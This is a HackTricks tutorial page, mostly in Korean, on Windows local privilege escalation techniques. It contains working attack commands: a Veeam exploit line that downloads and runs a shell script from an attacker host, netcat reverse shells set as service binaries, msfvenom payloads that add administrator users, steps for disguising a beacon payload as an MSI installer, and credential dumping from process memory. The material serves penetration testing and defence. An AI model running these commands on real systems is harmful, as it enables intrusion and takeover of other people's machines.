Windows Local Privilege Escalation
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Best tool to look for Windows local privilege escalation vectors: WinPEAS
Initial Windows Theory
Access Tokens
Windows Access Tokens가 무엇인지 모른다면, 계속하기 전에 다음 페이지를 읽으세요:
ACLs - DACLs/SACLs/ACEs
ACLs - DACLs/SACLs/ACEs에 대한 자세한 내용은 다음 페이지를 확인하세요:
Integrity Levels
Windows의 integrity levels가 무엇인지 모른다면, 계속하기 전에 다음 페이지를 읽어야 합니다:
Windows Security Controls
Windows에는 시스템을 열거하는 것을 방해하거나 실행 파일 실행을 막거나 심지어 활동을 탐지할 수 있는 다양한 요소가 있습니다. privilege escalation 열거를 시작하기 전에 다음 페이지를 읽고 이러한 방어 메커니즘을 모두 열거해야 합니다:
Admin Protection / UIAccess silent elevation
UIAccess 프로세스는 RAiLaunchAdminProcess를 통해 시작될 때 AppInfo secure-path checks가 우회되면 프롬프트 없이 High IL에 도달하도록 악용될 수 있습니다. 전용 UIAccess/Admin Protection 우회 워크플로를 확인하세요:
Uiaccess Admin Protection Bypass
System Info
Version info enumeration
Windows 버전에 알려진 취약점이 있는지 확인하세요(적용된 패치도 확인하십시오).
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
버전 Exploits
This site is handy for searching out detailed information about Microsoft security vulnerabilities. This database has more than 4,700 security vulnerabilities, showing the 거대한 공격 표면 that a Windows environment presents.
시스템에서
- post/windows/gather/enum_patches
- post/multi/recon/local_exploit_suggester
- watson
- winpeas (Winpeas에는 watson이 내장되어 있음)
시스템 정보를 사용해 로컬에서
exploits 관련 Github repos:
- https://github.com/nomi-sec/PoC-in-GitHub
- https://github.com/abatchy17/WindowsExploits
- https://github.com/SecWiki/windows-kernel-exploits
환경
환경 변수에 자격 증명/Juicy 정보가 저장되어 있나?
set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize
PowerShell 기록
ConsoleHost_history #Find the PATH where is saved
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
PowerShell Transcript 파일
이 기능을 켜는 방법은 https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/에서 확인할 수 있습니다.
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts
#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript
PowerShell Module Logging
PowerShell 파이프라인 실행에 대한 세부 정보는 실행된 명령, 명령 호출, 스크립트의 일부를 포함하여 기록됩니다. 다만 전체 실행 세부사항 및 출력 결과가 모두 캡처되지 않을 수 있습니다.
이를 활성화하려면 문서의 “Transcript files” 섹션에 있는 지침을 따르고 **“Module Logging”**을 “Powershell Transcription” 대신 선택하세요.
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
PowersShell 로그에서 마지막 15개 이벤트를 보려면 다음을 실행할 수 있습니다:
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
PowerShell Script Block Logging
스크립트 실행의 모든 활동과 전체 내용이 캡처되어 각 코드 블록이 실행되는 동안 문서화되도록 보장한다. 이 과정은 각 활동에 대한 포괄적인 감사 기록을 보존하여 포렌식 및 악성 행위 분석에 유용하다. 실행 시점의 모든 활동을 문서화함으로써 프로세스에 대한 자세한 통찰을 제공한다.
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
Script Block의 로깅 이벤트는 Windows 이벤트 뷰어에서 다음 경로에서 찾을 수 있습니다: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.\ 마지막 20개의 이벤트를 보려면 다음을 사용할 수 있습니다:
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
인터넷 설정
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
드라이브
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
WSUS
업데이트가 httpS가 아니라 http로 요청되면 시스템을 탈취할 수 있습니다.
먼저 네트워크가 비-SSL WSUS 업데이트를 사용하는지 확인하려면 cmd에서 다음을 실행합니다:
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
또는 PowerShell에서 다음을 실행:
Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"
다음과 같은 응답을 받으면:
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
WUServer : http://xxxx-updxx.corp.internal.com:8530
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName : windowsupdate
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
그리고 HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer 또는 Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"의 값이 1이면,
그렇다면 취약점이 악용 가능합니다. 마지막 레지스트리 값이 0이면 WSUS 항목은 무시됩니다.
이 취약점을 악용하기 위해 다음과 같은 도구를 사용할 수 있습니다: Wsuxploit, pyWSUS — 이들은 비-SSL WSUS 트래픽에 ‘가짜’ 업데이트를 주입하는 MiTM 무기화 익스플로잇 스크립트입니다.
연구 문서는 다음을 참조하세요:
WSUS CVE-2020-1013
전체 보고서 읽기.
요약하면, 이 결함은 다음과 같습니다:
If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run PyWSUS locally to intercept our own traffic and run code as an elevated user on our asset.
Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service.
이 취약점은 도구 WSUSpicious을(를) 사용해 악용할 수 있습니다 (도구가 공개된 후).
Third-Party Auto-Updaters and Agent IPC (local privesc)
많은 엔터프라이즈 에이전트는 localhost IPC 인터페이스와 권한 있는 업데이트 채널을 노출합니다. 등록(enrollment)이 공격자 서버로 강제될 수 있고 업데이터가 악성 루트 CA를 신뢰하거나 서명 검증이 약하면, 로컬 사용자가 SYSTEM 서비스가 설치하는 악성 MSI를 전달할 수 있습니다. 일반화된 기법(예: Netskope stAgentSvc 체인 – CVE-2025-0309)은 다음을 참조하세요:
Veeam Backup & Replication CVE-2023-27532 (SYSTEM via TCP 9401)
Veeam B&R < 11.0.1.1261는 TCP/9401에서 localhost 서비스를 노출하며, 공격자가 제어하는 메시지를 처리해 NT AUTHORITY\SYSTEM 권한으로 임의 명령을 실행할 수 있습니다.
- Recon: 리스너와 버전을 확인합니다. 예:
netstat -ano | findstr 9401및(Get-Item "C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Shell.exe").VersionInfo.FileVersion. - Exploit:
VeeamHax.exe같은 PoC와 필요한 Veeam DLL들을 동일한 디렉터리에 배치한 다음, 로컬 소켓을 통해 SYSTEM 페이로드를 트리거합니다:
.\VeeamHax.exe --cmd "powershell -ep bypass -c \"iex(iwr http://attacker/shell.ps1 -usebasicparsing)\""
서비스는 명령을 SYSTEM 권한으로 실행합니다.
KrbRelayUp
특정 조건에서 Windows domain 환경에 local privilege escalation 취약점이 존재합니다. 이러한 조건에는 LDAP signing is not enforced, 사용자가 self-rights를 보유해 Resource-Based Constrained Delegation (RBCD) 를 구성할 수 있으며 도메인 내에서 컴퓨터를 생성할 수 있는 환경이 포함됩니다. 이러한 requirements가 default settings로 충족된다는 점에 유의해야 합니다.
다음에서 exploit을 찾으세요: https://github.com/Dec0ne/KrbRelayUp
공격의 흐름에 대한 자세한 정보는 https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/ 를 확인하세요.
AlwaysInstallElevated
If 이 2개의 레지스트리가 enabled(값이 0x1)로 설정되어 있으면, 어떤 권한의 사용자도 *.msi 파일을 NT AUTHORITY\SYSTEM 권한으로 install(실행)할 수 있습니다.
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Metasploit payloads
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
If you have a meterpreter session you can automate this technique using the module exploit/windows/local/always_install_elevated
PowerUP
현재 디렉터리에 권한 상승을 위해 Windows MSI 바이너리를 생성하려면 power-up에서 Write-UserAddMSI 명령을 사용하세요. 이 스크립트는 사용자/그룹 추가를 요청하는 사전 컴파일된 MSI 설치 프로그램을 작성합니다(따라서 GIU 접근 권한이 필요합니다):
Write-UserAddMSI
생성된 바이너리를 실행하면 권한 상승을 할 수 있습니다.
MSI Wrapper
이 튜토리얼을 읽어 이 도구들을 사용해 MSI Wrapper를 만드는 방법을 배우세요. 참고로, “.bat” 파일은 단지 명령줄을 실행하려는 경우 래핑할 수 있습니다.
Create MSI with WIX
Create MSI with Visual Studio
- Cobalt Strike 또는 Metasploit을 사용해
C:\privesc\beacon.exe에 new Windows EXE TCP payload를 생성합니다. - Visual Studio를 열고, Create a new project를 선택한 다음 검색 상자에 “installer“를 입력하세요. Setup Wizard 프로젝트를 선택하고 Next를 클릭합니다.
- 프로젝트 이름을 예: AlwaysPrivesc로 지정하고, 위치는 **
C:\privesc**를 사용하세요. place solution and project in the same directory를 선택하고 Create를 클릭합니다. - Next를 계속 클릭하여 4단계 중 3단계 (choose files to include)에 도달하세요. Add를 클릭하고 방금 생성한 Beacon payload를 선택한 다음 Finish를 클릭합니다.
- Solution Explorer에서 AlwaysPrivesc 프로젝트를 선택한 뒤 Properties에서 TargetPlatform을 x86에서 x64로 변경합니다.
- 설치된 앱을 더 합법적으로 보이게 하기 위해 Author와 Manufacturer 같은 다른 속성들을 변경할 수 있습니다.
- 프로젝트를 마우스 오른쪽 버튼으로 클릭하고 View > Custom Actions를 선택합니다.
- Install을 오른쪽 클릭하고 Add Custom Action을 선택합니다.
- Application Folder를 더블클릭하고 beacon.exe 파일을 선택한 후 OK를 클릭합니다. 이렇게 하면 설치 프로그램이 실행되자마자 beacon payload가 실행됩니다.
- Custom Action Properties에서 Run64Bit를 True로 변경합니다.
- 마지막으로 빌드합니다.
- 경고
File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'가 표시되면 플랫폼을 x64로 설정했는지 확인하세요.
MSI Installation
악성 .msi 파일의 설치를 백그라운드에서 실행하려면:
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
이 취약점을 악용하려면 다음을 사용할 수 있습니다: exploit/windows/local/always_install_elevated
안티바이러스 및 탐지기
감사 설정
이 설정들은 무엇이 기록되는지를 결정하므로 주의를 기울여야 합니다.
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
WEF
Windows Event Forwarding에서는 로그가 어디로 전송되는지 아는 것이 흥미롭다
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
LAPS
LAPS는 로컬 Administrator 암호 관리를 위해 설계되었으며, 도메인에 가입된 컴퓨터에서 각 암호가 고유하고 무작위화되며 정기적으로 갱신되도록 보장합니다. 이러한 암호는 Active Directory에 안전하게 저장되며, ACLs를 통해 충분한 권한이 부여된 사용자만 액세스할 수 있어(권한이 있는 경우) 로컬 admin 암호를 확인할 수 있습니다.
WDigest
활성화된 경우, plain-text passwords are stored in LSASS (Local Security Authority Subsystem Service).
More info about WDigest in this page.
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
LSA Protection
Windows 8.1부터 Microsoft는 Local Security Authority (LSA)에 대해 향상된 보호를 도입하여 신뢰할 수 없는 프로세스가 read its memory 하거나 inject code를 시도하는 것을 block하여 시스템 보안을 강화했습니다.
More info about LSA Protection here.
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
Credentials Guard
Credential Guard는 Windows 10에서 도입되었습니다. 이는 장치에 저장된 credentials를 pass-the-hash 공격과 같은 위협으로부터 보호하기 위한 것입니다.| More info about Credentials Guard here.
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
캐시된 자격 증명
도메인 자격 증명은 **로컬 보안 권한(LSA)**에 의해 인증되며 운영 체제 구성 요소에서 사용됩니다. 사용자의 로그온 데이터가 등록된 보안 패키지에 의해 인증되면, 일반적으로 해당 사용자에 대한 도메인 자격 증명이 설정됩니다.
More info about Cached Credentials here.
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
사용자 및 그룹
사용자 및 그룹 열거
자신이 속한 그룹 중 흥미로운 권한을 가진 그룹이 있는지 확인해야 합니다.
# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges
# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
특권 그룹
만약 당신이 어떤 특권 그룹에 속해 있다면 권한 상승이 가능할 수 있습니다. 특권 그룹과 이를 악용하여 권한을 상승시키는 방법은 다음에서 확인하세요:
토큰 조작
자세히 알아보기: 이 페이지에서 토큰이 무엇인지 확인하세요: Windows Tokens.
다음 페이지를 확인하여 흥미로운 토큰과 이를 악용하는 방법을 알아보세요:
로그인된 사용자 / 세션
qwinsta
klist sessions
홈 폴더
dir C:\Users
Get-ChildItem C:\Users
비밀번호 정책
net accounts
클립보드 내용 가져오기
powershell -command "Get-Clipboard"
실행 중인 프로세스
파일 및 폴더 권한
무엇보다도, 프로세스를 나열하여 프로세스의 명령줄에 비밀번호가 포함되어 있는지 확인하세요.
실행 중인 일부 바이너리를 덮어쓸 수 있는지 또는 바이너리 폴더에 대한 쓰기 권한이 있는지 확인해 잠재적인 DLL Hijacking attacks을 악용할 수 있는지 살펴보세요:
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
항상 electron/cef/chromium debuggers 실행 중인지 확인하세요 — 권한 상승에 악용될 수 있습니다.
프로세스 바이너리의 권한 확인
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)
프로세스 바이너리의 폴더 권한 확인 (DLL Hijacking)
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)
메모리에서 비밀번호 추출
sysinternals의 procdump를 사용하면 실행 중인 프로세스의 메모리 덤프를 생성할 수 있습니다. FTP와 같은 서비스는 메모리에 자격 증명이 평문으로 저장되어 있는 경우가 있으니, 메모리를 덤프해서 자격 증명을 확인해 보세요.
procdump.exe -accepteula -ma <proc_name_tasklist>
취약한 GUI 앱
SYSTEM으로 실행되는 애플리케이션은 사용자가 CMD를 실행하거나 디렉터리를 탐색할 수 있게 허용할 수 있습니다.
예: “Windows Help and Support” (Windows + F1), “command prompt“를 검색한 다음 “Click to open Command Prompt“를 클릭
서비스
Service Triggers는 특정 조건이 발생할 때 Windows가 서비스를 시작하도록 합니다 (named pipe/RPC endpoint activity, ETW events, IP availability, device arrival, GPO refresh 등). SERVICE_START 권한이 없어도 트리거를 발생시켜 권한이 높은 서비스를 시작할 수 있는 경우가 많습니다. 열거 및 활성화 기법은 다음을 참조하세요:
서비스 목록 가져오기:
net start
wmic service list brief
sc query
Get-Service
권한
서비스 정보를 얻기 위해 sc를 사용할 수 있습니다.
sc qc <service_name>
각 서비스에 필요한 권한 수준을 확인하려면 _Sysinternals_의 바이너리 accesschk를 보유하는 것이 권장됩니다.
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
“Authenticated Users“가 어떤 서비스를 수정할 수 있는지 확인하는 것이 권장됩니다:
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
You can download accesschk.exe for XP for here
서비스 활성화
예를 들어 SSDPSRV에서 다음 오류가 발생하는 경우:
System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.
다음 명령으로 활성화할 수 있습니다
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""
upnphost 서비스는 작동하기 위해 SSDPSRV에 의존한다는 점을 고려하세요 (XP SP1의 경우)
또 다른 우회 방법 이 문제에 대한 것은 다음을 실행하는 것입니다:
sc.exe config usosvc start= auto
서비스 바이너리 경로 수정
서비스에 대해 “Authenticated users” 그룹이 SERVICE_ALL_ACCESS 권한을 가지고 있는 경우, 서비스의 실행 파일 바이너리를 수정할 수 있습니다. 서비스의 바이너리를 수정하고 실행하려면 sc:
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
서비스 재시작
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
권한 상승은 다음과 같은 다양한 권한을 통해 발생할 수 있습니다:
- SERVICE_CHANGE_CONFIG: 서비스 바이너리의 재구성을 허용합니다.
- WRITE_DAC: 권한 재구성을 가능하게 하여 서비스 구성을 변경할 수 있게 합니다.
- WRITE_OWNER: 소유권 획득 및 권한 재구성을 허용합니다.
- GENERIC_WRITE: 서비스 구성을 변경할 수 있는 권한을 가집니다.
- GENERIC_ALL: 역시 서비스 구성 변경 능력을 가집니다.
이 취약점의 탐지 및 악용에는 _exploit/windows/local/service_permissions_를 사용할 수 있습니다.
서비스 바이너리 권한 취약점
서비스가 실행하는 바이너리를 수정할 수 있는지 확인하세요 또는 바이너리가 위치한 폴더에 쓰기 권한이 있는지 확인하세요 (DLL Hijacking).
서비스가 실행하는 모든 바이너리는 wmic를 사용해 얻을 수 있으며 (not in system32) icacls로 권한을 확인할 수 있습니다:
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"
또한 sc와 icacls를 사용할 수 있습니다:
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
서비스 레지스트리 수정 권한
서비스 레지스트리를 수정할 수 있는지 확인해야 합니다.
다음과 같이 서비스 레지스트리에 대한 권한을 확인할 수 있습니다:
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
Authenticated Users 또는 NT AUTHORITY\INTERACTIVE가 FullControl 권한을 가지고 있는지 확인해야 합니다. 그렇다면 서비스가 실행하는 바이너리를 변경할 수 있습니다.
실행되는 바이너리의 경로(Path)를 변경하려면:
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
서비스 레지스트리 AppendData/AddSubdirectory 권한
레지스트리에 대해 이 권한이 있다면 이는 해당 레지스트리로부터 하위 레지스트리를 생성할 수 있음을 의미합니다. Windows 서비스의 경우 이는 임의의 코드를 실행하기에 충분합니다:
AppendData/AddSubdirectory permission over service registry
따옴표 없는 서비스 경로
실행 파일 경로가 따옴표로 감싸져 있지 않으면, Windows는 공백 앞까지의 각 경로를 실행하려고 시도합니다.
예를 들어 경로 C:\Program Files\Some Folder\Service.exe 의 경우 Windows는 다음을 실행하려고 시도합니다:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
Windows에 내장된 서비스에 속한 경로는 제외하고, 따옴표로 묶이지 않은 모든 서비스 경로를 나열하세요:
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\system32" | findstr /i /v '\"' # Not only auto services
# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:"\""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
이 취약점을 탐지하고 exploit할 수 있습니다 metasploit: exploit/windows/local/trusted\_service\_path을 사용하여. metasploit으로 수동으로 service binary를 생성할 수 있습니다:
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
복구 작업
Windows에서는 서비스가 실패할 경우 수행할 작업을 사용자가 지정할 수 있습니다. 이 기능은 특정 바이너리를 가리키도록 구성할 수 있으며, 해당 바이너리를 교체할 수 있다면 privilege escalation이 가능할 수 있습니다. 자세한 내용은 official documentation에서 확인하세요.
애플리케이션
설치된 애플리케이션
바이너리의 권한을 확인하세요(바이너리를 덮어써서 privilege escalation이 가능할 수 있습니다). 또한 폴더의 권한도 확인하세요(DLL Hijacking).
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
쓰기 권한
특정 구성 파일을 수정해 특수 파일을 읽을 수 있는지, 또는 Administrator 계정에 의해 실행될 바이너리를 수정할 수 있는지 (schedtasks) 확인하세요.
시스템에서 권한이 약한 폴더/파일을 찾는 한 가지 방법은 다음을 실행하는 것입니다:
accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
Notepad++ 플러그인 자동 로드 지속성/실행
Notepad++는 plugins 하위 폴더 아래의 모든 plugin DLL을 자동으로 로드합니다. 쓰기 가능한 포터블/복사 설치본이 존재하는 경우 악성 plugin을 넣으면 매 실행 시 notepad++.exe 내부에서 자동으로 코드가 실행됩니다 (예: DllMain 및 plugin 콜백에서 포함).
Notepad Plus Plus Plugin Autoload Persistence
시작 시 실행
다른 사용자가 실행할 registry 또는 binary를 덮어쓸 수 있는지 확인하세요.
읽어보세요 다음 페이지에서 흥미로운 autoruns locations to escalate privileges에 대해 더 알아보세요:
Privilege Escalation with Autoruns
드라이버
가능한 third party weird/vulnerable drivers를 찾아보세요
driverquery
driverquery.exe /fo table
driverquery /SI
If a driver exposes an arbitrary kernel read/write primitive (common in poorly designed IOCTL handlers), you can escalate by stealing a SYSTEM token directly from kernel memory. See the step‑by‑step technique here:
Arbitrary Kernel Rw Token Theft
For race-condition bugs where the vulnerable call opens an attacker-controlled Object Manager path, deliberately slowing the lookup (using max-length components or deep directory chains) can stretch the window from microseconds to tens of microseconds:
Kernel Race Condition Object Manager Slowdown
Registry hive memory corruption primitives
최신 hive 취약점은 결정적 레이아웃을 조작하고, 쓰기 가능한 HKLM/HKU 하위 항목을 악용하며, 메타데이터 손상을 커널 paged-pool 오버플로우로 변환할 수 있게 해줍니다(커스텀 드라이버 없이). 전체 체인은 여기에서 확인하세요:
Windows Registry Hive Exploitation
Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill)
일부 서명된 서드파티 드라이버는 IoCreateDeviceSecure를 통해 강력한 SDDL로 device object를 생성하지만 DeviceCharacteristics에 FILE_DEVICE_SECURE_OPEN을 설정하는 것을 잊어버립니다. 이 플래그가 없으면, 추가 컴포넌트를 포함한 경로를 통해 디바이스를 열 때 secure DACL이 적용되지 않아, 권한이 없는 사용자가 다음과 같은 네임스페이스 경로를 사용해 핸들을 얻을 수 있습니다:
- \ .\DeviceName\anything
- \ .\amsdk\anyfile (from a real-world case)
사용자가 디바이스를 열 수 있게 되면, 드라이버가 노출한 권한 있는 IOCTLs를 LPE와 변조에 악용할 수 있습니다. 실제 사례에서 관찰된 예시 기능:
- 임의의 프로세스에 대한 전체 접근 핸들을 반환 (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
- 제한 없는 raw disk read/write (오프라인 변조, 부팅 시 지속성 트릭).
